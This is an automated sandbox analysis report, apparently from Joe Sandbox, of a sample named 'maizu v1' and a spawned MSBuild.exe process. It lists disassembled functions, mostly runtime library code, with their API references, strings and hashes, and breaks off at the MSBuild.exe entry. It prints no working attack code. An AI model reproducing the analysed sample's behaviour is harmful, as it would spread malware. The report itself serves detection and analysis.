Opcode Fuzzy Hash: 0348c40113168c569ecdbaf33ce4c7ca3883923b3352dc9550a20db56e356de0
Instruction Fuzzy Hash: D9900228D582008A8100CE4494A0470F278620B206F1034109008F3012D210E804850C

Function 00BCA318 Relevance: 10.8, APIs: 3, Strings: 3, Instructions: 303COMMONLIBRARYCODE

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 00BCA437
___TypeMatch.LIBVCRUNTIME ref: 00BCA545
CallUnexpected.LIBVCRUNTIME ref: 00BCA6B2

Strings

csm, xrefs: 00BCA355
csm, xrefs: 00BCA46E
csm, xrefs: 00BCA3C2

Memory Dump Source

Source File: 00000000.00000002.2082633882.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true

Associated: 00000000.00000002.2082616031.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082665928.0000000000BE2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082686970.0000000000BEC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082723986.0000000000C44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2083295233.0000000000C45000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2083352998.0000000000C47000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_maizu v1.jbxd

Similarity

API ID: CallMatchTypeUnexpectedtype_info::operator==
String ID: csm$csm$csm
API String ID: 1206542248-393685449
Opcode ID: 03bc1914cd24ac8cc1bb7eebb80085d81496211b7ad574e0b2eec2a1f6abd4f8
Instruction ID: 82c37a286bb73ac71884e31ecb8fd7eaedcb0f5a9f9284abab0f6eeaff206b18
Opcode Fuzzy Hash: 03bc1914cd24ac8cc1bb7eebb80085d81496211b7ad574e0b2eec2a1f6abd4f8
Instruction Fuzzy Hash: EEB1477180020D9FCF19DFA4C885EAEB7F5FF14318B1581AEE815AB212D771EA51CB92

Function 00BDF0A8 Relevance: 9.3, APIs: 6, Instructions: 298COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2082633882.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true

Associated: 00000000.00000002.2082616031.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082665928.0000000000BE2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082686970.0000000000BEC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082723986.0000000000C44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2083295233.0000000000C45000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2083352998.0000000000C47000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_maizu v1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 35d697c690808df5ba9b63c070aa0b88849e878f5eb216e997373bda52cebc29
Instruction ID: 477bfae7e93011dca463bb40f9b7f87948db7a662e26f5f68e863222f69f7c79
Opcode Fuzzy Hash: 35d697c690808df5ba9b63c070aa0b88849e878f5eb216e997373bda52cebc29
Instruction Fuzzy Hash: 3BB1F374A08646AFDB11DF99C880BBDBBF5EF45310F1441EAE406AB392E7709D42CB60

Function 00BC50F8 Relevance: 9.1, APIs: 6, Instructions: 65COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00BC50FF
std::_Lockit::_Lockit.LIBCPMT ref: 00BC5109
int.LIBCPMT ref: 00BC5120

Part of subcall function 00BC16B4: std::_Lockit::_Lockit.LIBCPMT ref: 00BC16C5
Part of subcall function 00BC16B4: std::_Lockit::~_Lockit.LIBCPMT ref: 00BC16DF

std::_Facet_Register.LIBCPMT ref: 00BC515A
std::_Lockit::~_Lockit.LIBCPMT ref: 00BC517A
Concurrency::cancel_current_task.LIBCPMT ref: 00BC5187

Memory Dump Source

Source File: 00000000.00000002.2082633882.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true

Associated: 00000000.00000002.2082616031.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082665928.0000000000BE2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082686970.0000000000BEC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082723986.0000000000C44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2083295233.0000000000C45000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2083352998.0000000000C47000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_maizu v1.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_H_prolog3Register
String ID:
API String ID: 55977855-0
Opcode ID: 46089eb7b9d478bf221f130e6ef7353551de54351442ff7e15ba6579d73344de
Instruction ID: 664b464a6b9b8b06e321528d87b863fc8a5180ab917107c20a46906544563f5e
Opcode Fuzzy Hash: 46089eb7b9d478bf221f130e6ef7353551de54351442ff7e15ba6579d73344de
Instruction Fuzzy Hash: C411B4769006149FCB15EB68D805FAE77F8BF44324F14058DF405AB292DF70AE408B95

Function 00BC9FAA Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,00BC9FA1,00BC86C8,00BC784F), ref: 00BC9FB8
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 00BC9FC6
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 00BC9FDF
SetLastError.KERNEL32(00000000,00BC9FA1,00BC86C8,00BC784F), ref: 00BCA031

Memory Dump Source

Source File: 00000000.00000002.2082633882.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true

Associated: 00000000.00000002.2082616031.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082665928.0000000000BE2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082686970.0000000000BEC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082723986.0000000000C44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2083295233.0000000000C45000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2083352998.0000000000C47000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_maizu v1.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 6751c831a240215147b40895484f53ab740135be40d7e24bdfdcc14a8f773b52
Instruction ID: f48bec52ed22e94ed0bad471692ad393af8bddd6e1278342ab2f7f6b08331aa7
Opcode Fuzzy Hash: 6751c831a240215147b40895484f53ab740135be40d7e24bdfdcc14a8f773b52
Instruction Fuzzy Hash: DF01D4722197919FA67527B47CDAF2A2EC6EB127B972003AEF1209A0E2EF514D019145

Function 00BD0CA0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,B347C343,?,?,00000000,00BE1D08,000000FF,?,00BD0C30,00BD0D60,?,00BD0C04,00000000), ref: 00BD0CD5
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 00BD0CE7
FreeLibrary.KERNEL32(00000000,?,?,00000000,00BE1D08,000000FF,?,00BD0C30,00BD0D60,?,00BD0C04,00000000), ref: 00BD0D09

Strings

CorExitProcess, xrefs: 00BD0CDF
mscoree.dll, xrefs: 00BD0CCE

Memory Dump Source

Source File: 00000000.00000002.2082633882.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true

Associated: 00000000.00000002.2082616031.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082665928.0000000000BE2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082686970.0000000000BEC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082723986.0000000000C44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2083295233.0000000000C45000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2083352998.0000000000C47000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_maizu v1.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: adcccb42c5f44e61937ec704c2ce0209f7de609e425ae3d3d6354bd1cbe7f743
Instruction ID: d913c267e31a65922e7ea265aa8bd17922b9434bfd81fe76e3fa7b3e9a850562
Opcode Fuzzy Hash: adcccb42c5f44e61937ec704c2ce0209f7de609e425ae3d3d6354bd1cbe7f743
Instruction Fuzzy Hash: 3B018431910659EFDB259B84CC45BAEBBFDFB04714F004576F811A62E0EF749900CB90

Function 00BC417D Relevance: 7.5, APIs: 5, Instructions: 48COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00BC4189
int.LIBCPMT ref: 00BC419C

Part of subcall function 00BC16B4: std::_Lockit::_Lockit.LIBCPMT ref: 00BC16C5
Part of subcall function 00BC16B4: std::_Lockit::~_Lockit.LIBCPMT ref: 00BC16DF

std::_Facet_Register.LIBCPMT ref: 00BC41CF
std::_Lockit::~_Lockit.LIBCPMT ref: 00BC41E5
Concurrency::cancel_current_task.LIBCPMT ref: 00BC41F0

Memory Dump Source

Source File: 00000000.00000002.2082633882.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true

Associated: 00000000.00000002.2082616031.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082665928.0000000000BE2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082686970.0000000000BEC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082723986.0000000000C44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2083295233.0000000000C45000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2083352998.0000000000C47000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_maizu v1.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_Register
String ID:
API String ID: 2081738530-0
Opcode ID: 3aba92a3f0fc8c395d05553c38a900055e6ff3a5d626449b99be88f4f4574ed9
Instruction ID: c03578ecdc8f7a353d7a6f2087a248103288f0e9c9ff08d1c251bf24adf36a89
Opcode Fuzzy Hash: 3aba92a3f0fc8c395d05553c38a900055e6ff3a5d626449b99be88f4f4574ed9
Instruction Fuzzy Hash: A3018476500114ABCB14EB58D865FAE7BE8EF91760B24059DF902B7292EB309F418790

Function 00BC3AF8 Relevance: 7.5, APIs: 5, Instructions: 48COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00BC3B04
int.LIBCPMT ref: 00BC3B17

Part of subcall function 00BC16B4: std::_Lockit::_Lockit.LIBCPMT ref: 00BC16C5
Part of subcall function 00BC16B4: std::_Lockit::~_Lockit.LIBCPMT ref: 00BC16DF

std::_Facet_Register.LIBCPMT ref: 00BC3B4A
std::_Lockit::~_Lockit.LIBCPMT ref: 00BC3B60
Concurrency::cancel_current_task.LIBCPMT ref: 00BC3B6B

Memory Dump Source

Source File: 00000000.00000002.2082633882.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true

Associated: 00000000.00000002.2082616031.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082665928.0000000000BE2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082686970.0000000000BEC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082723986.0000000000C44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2083295233.0000000000C45000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2083352998.0000000000C47000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_maizu v1.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_Register
String ID:
API String ID: 2081738530-0
Opcode ID: 055035e2467038140a7b2188f0c97b14e7150818f5bcdc0ff9cb9fce2eb2b89e
Instruction ID: b9c64c9dbdeb7cfd8b89ae6fb7483800f986fc82025df348662924540a06c72e
Opcode Fuzzy Hash: 055035e2467038140a7b2188f0c97b14e7150818f5bcdc0ff9cb9fce2eb2b89e
Instruction Fuzzy Hash: 3E018476500118ABCB14EB58D855FAE77E8DF82B60B10469DF90267292DF309F018791

Function 00BC404F Relevance: 7.5, APIs: 5, Instructions: 47COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00BC405C
int.LIBCPMT ref: 00BC406F

Part of subcall function 00BC16B4: std::_Lockit::_Lockit.LIBCPMT ref: 00BC16C5
Part of subcall function 00BC16B4: std::_Lockit::~_Lockit.LIBCPMT ref: 00BC16DF

std::_Facet_Register.LIBCPMT ref: 00BC40A2
std::_Lockit::~_Lockit.LIBCPMT ref: 00BC40B8
Concurrency::cancel_current_task.LIBCPMT ref: 00BC40C3

Memory Dump Source

Source File: 00000000.00000002.2082633882.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true

Associated: 00000000.00000002.2082616031.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082665928.0000000000BE2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082686970.0000000000BEC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082723986.0000000000C44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2083295233.0000000000C45000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2083352998.0000000000C47000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_maizu v1.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_Register
String ID:
API String ID: 2081738530-0
Opcode ID: 54a5cbf32c70f0d0067c8debc17c0b48126c18b7cb012a201d9be5af64957159
Instruction ID: 0f3b0a069099987afe002054c2be3a5f61f93d1c0197fd938e0f21115399e69b
Opcode Fuzzy Hash: 54a5cbf32c70f0d0067c8debc17c0b48126c18b7cb012a201d9be5af64957159
Instruction Fuzzy Hash: EF01F236900114ABCB20FB689815FAE7BE8EF81320B1001DDF902A7296EF309F01C7C5

Function 00BC4DC1 Relevance: 7.5, APIs: 5, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00BC4DC8
std::_Lockit::_Lockit.LIBCPMT ref: 00BC4DD3
std::locale::_Setgloballocale.LIBCPMT ref: 00BC4DEE
_Yarn.LIBCPMT ref: 00BC4E04
std::_Lockit::~_Lockit.LIBCPMT ref: 00BC4E41

Memory Dump Source

Source File: 00000000.00000002.2082633882.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true

Associated: 00000000.00000002.2082616031.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082665928.0000000000BE2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082686970.0000000000BEC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082723986.0000000000C44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2083295233.0000000000C45000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2083352998.0000000000C47000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_maizu v1.jbxd

Similarity

API ID: Lockitstd::_$H_prolog3Lockit::_Lockit::~_SetgloballocaleYarnstd::locale::_
String ID:
API String ID: 156189095-0
Opcode ID: 1fb3624882f4cb95bfdb23d17936bdcc056adf4f4ecf47357794292b6631a543
Instruction ID: 41d9e4cee9d3da3b87c44380f63e0364b56598d763869d310416b3c8cde86b32
Opcode Fuzzy Hash: 1fb3624882f4cb95bfdb23d17936bdcc056adf4f4ecf47357794292b6631a543
Instruction Fuzzy Hash: 88019A7AA001618BC70AEB60D861F7D7BE1FF88350B19008DE8015B392DF746F02CB86

Function 00BCB0F2 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,?,00BCB0A3,00000000,?,00C458DC,?,?,?,00BCB246,00000004,InitializeCriticalSectionEx,00BE3BB8,InitializeCriticalSectionEx), ref: 00BCB0FF
GetLastError.KERNEL32(?,00BCB0A3,00000000,?,00C458DC,?,?,?,00BCB246,00000004,InitializeCriticalSectionEx,00BE3BB8,InitializeCriticalSectionEx,00000000,?,00BCAFFD), ref: 00BCB109
LoadLibraryExW.KERNEL32(00000000,00000000,00000000), ref: 00BCB131

Strings

api-ms-, xrefs: 00BCB116

Memory Dump Source

Source File: 00000000.00000002.2082633882.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true

Associated: 00000000.00000002.2082616031.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082665928.0000000000BE2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082686970.0000000000BEC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082723986.0000000000C44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2083295233.0000000000C45000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2083352998.0000000000C47000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_maizu v1.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID: api-ms-
API String ID: 3177248105-2084034818
Opcode ID: 4634169e47af79ec6ad6466adc413b368cae497fc80b8d1acbb9b166382f11b4
Instruction ID: db1d8f849acbd1e14c7e2ec1433608eec3819f384fdf59e37907c38913c10d76
Opcode Fuzzy Hash: 4634169e47af79ec6ad6466adc413b368cae497fc80b8d1acbb9b166382f11b4
Instruction Fuzzy Hash: A9E01A31280244B6EB101F61EC4BF193A9AAB10B80F184060FA0EB90E2EBA1DA208694

Function 00BD7495 Relevance: 6.3, APIs: 4, Instructions: 338fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(B347C343,00000000,00000000,00000000), ref: 00BD74F8

Part of subcall function 00BD927A: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,0000FDE9,00000000,-00000008,00000000,?,00BD8D21,?,00000000,-00000008), ref: 00BD9326

WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00BD7753
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 00BD779B
GetLastError.KERNEL32 ref: 00BD783E

Memory Dump Source

Source File: 00000000.00000002.2082633882.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true

Associated: 00000000.00000002.2082616031.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082665928.0000000000BE2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082686970.0000000000BEC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082723986.0000000000C44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2083295233.0000000000C45000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2083352998.0000000000C47000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_maizu v1.jbxd

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
String ID:
API String ID: 2112829910-0
Opcode ID: 8cadac984b7bd745a7c31addbfe2a9079b5e9b9cb80401906a200e4a6bc02580
Instruction ID: 2bd380c302207b3a9d6b53f2220bd8c63d3cc3d4accc8c79f56324f607b5348d
Opcode Fuzzy Hash: 8cadac984b7bd745a7c31addbfe2a9079b5e9b9cb80401906a200e4a6bc02580
Instruction Fuzzy Hash: C9D13975E042489FCB15CFA8D884AEDFBF5FF49304F28456AE856E7351EA30A941CB50

Function 00BCA0C1 Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 00BCA188
___AdjustPointer.LIBCMT ref: 00BCA1AB
___AdjustPointer.LIBCMT ref: 00BCA247

Memory Dump Source

Source File: 00000000.00000002.2082633882.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true

Associated: 00000000.00000002.2082616031.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082665928.0000000000BE2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082686970.0000000000BEC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082723986.0000000000C44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2083295233.0000000000C45000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2083352998.0000000000C47000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_maizu v1.jbxd

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 2921d5c2d0bc270a156f81ee1d84f02ac6d9e90f26a041fdc6674a0122baf77d
Instruction ID: 04865d65731ef8e387970b8934ac777ab4afbaa704b2de4a80f7dc35c62bfcca
Opcode Fuzzy Hash: 2921d5c2d0bc270a156f81ee1d84f02ac6d9e90f26a041fdc6674a0122baf77d
Instruction Fuzzy Hash: 1B51057260024EAFDB299F54D881F7A73E4EF45718F1841ADEC05A7291DB31EC80CB92

Function 00BE043F Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00000000,0000000C,?,00000000,00000000,?,00BDF465,00000000,00000001,00000000,00000000,?,00BD7892,00000000,00000000,00000000), ref: 00BE0456
GetLastError.KERNEL32(?,00BDF465,00000000,00000001,00000000,00000000,?,00BD7892,00000000,00000000,00000000,00000000,00000000,?,00BD7E19,00000000), ref: 00BE0462

Part of subcall function 00BE0428: CloseHandle.KERNEL32(FFFFFFFE,00BE0472,?,00BDF465,00000000,00000001,00000000,00000000,?,00BD7892,00000000,00000000,00000000,00000000,00000000), ref: 00BE0438

___initconout.LIBCMT ref: 00BE0472

Part of subcall function 00BE03EA: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,00BE0419,00BDF452,00000000,?,00BD7892,00000000,00000000,00000000,00000000), ref: 00BE03FD

WriteConsoleW.KERNEL32(00000000,0000000C,?,00000000,?,00BDF465,00000000,00000001,00000000,00000000,?,00BD7892,00000000,00000000,00000000,00000000), ref: 00BE0487

Memory Dump Source

Source File: 00000000.00000002.2082633882.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true

Associated: 00000000.00000002.2082616031.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082665928.0000000000BE2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082686970.0000000000BEC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082723986.0000000000C44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2083295233.0000000000C45000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2083352998.0000000000C47000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_maizu v1.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: f493f1a27f2c2d72c91e9c82549ffa3b6a1106694255e3d5ca1f12c78f1f92ef
Instruction ID: 91bfebcbb32a990d56bba7b9114fb539c5ea793e3b8cf867a7288c67724c08e9
Opcode Fuzzy Hash: f493f1a27f2c2d72c91e9c82549ffa3b6a1106694255e3d5ca1f12c78f1f92ef
Instruction Fuzzy Hash: 3EF01C375101D8BBCF622FD6DC489993FB6FB583A1B004154FB199A260CB728960ABA1

Function 00BCA6BD Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,?), ref: 00BCA6E2

Strings

RCC, xrefs: 00BCA6FC
MOC, xrefs: 00BCA6F4

Memory Dump Source

Source File: 00000000.00000002.2082633882.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true

Associated: 00000000.00000002.2082616031.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082665928.0000000000BE2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082686970.0000000000BEC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082723986.0000000000C44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2083295233.0000000000C45000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2083352998.0000000000C47000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_maizu v1.jbxd

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: a564a0991c18b78a414ba8e613f67bbf21b259e9d8e551edf595264d6c6eca2a
Instruction ID: bc2e96013d42acd3249cbc353258bf986efce9e3191c350d35cf6443a00f7e6f
Opcode Fuzzy Hash: a564a0991c18b78a414ba8e613f67bbf21b259e9d8e551edf595264d6c6eca2a
Instruction Fuzzy Hash: 4041227190020DAFCF16DF98C985EAEBBB5FF48308F18819AF904AA251D3359D50DB52

Function 00BC15DF Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 33COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00BC15E6
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00BC161E

Part of subcall function 00BC4EBF: _Yarn.LIBCPMT ref: 00BC4EDE
Part of subcall function 00BC4EBF: _Yarn.LIBCPMT ref: 00BC4F02

Strings

bad locale name, xrefs: 00BC162C

Memory Dump Source

Source File: 00000000.00000002.2082633882.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true

Associated: 00000000.00000002.2082616031.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082665928.0000000000BE2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082686970.0000000000BEC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082723986.0000000000C44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2083295233.0000000000C45000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2083352998.0000000000C47000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_maizu v1.jbxd

Similarity

API ID: Yarnstd::_$Locinfo::_Locinfo_ctorLockitLockit::_
String ID: bad locale name
API String ID: 1908188788-1405518554
Opcode ID: ce45159816771212db336356ba3a843f3e9c140a0fc9216de55e3c7c5849521c
Instruction ID: 056fed8d637c2608dcc5b27cfbe0330027b92fd852719cf304fa9481b6434a19
Opcode Fuzzy Hash: ce45159816771212db336356ba3a843f3e9c140a0fc9216de55e3c7c5849521c
Instruction Fuzzy Hash: 84F01771506B809E83309F7A8491947FBE4BE293207948E6EE0DEC3A12D730A504CB6A

Analysis Process: MSBuild.exePID: 5832, Parent PID: 6056COMMON

Execution Graph

Execution Coverage:	1.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	37.5%
Total number of Nodes:	56
Total number of Limit Nodes:	13

Executed Functions

Function 0043FDBB Relevance: 33.7, APIs: 12, Strings: 7, Instructions: 425
memorycomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoCreateInstance.OLE32(0044DCE0,00000000,00000001,0044DCD0,?), ref: 0043FE41
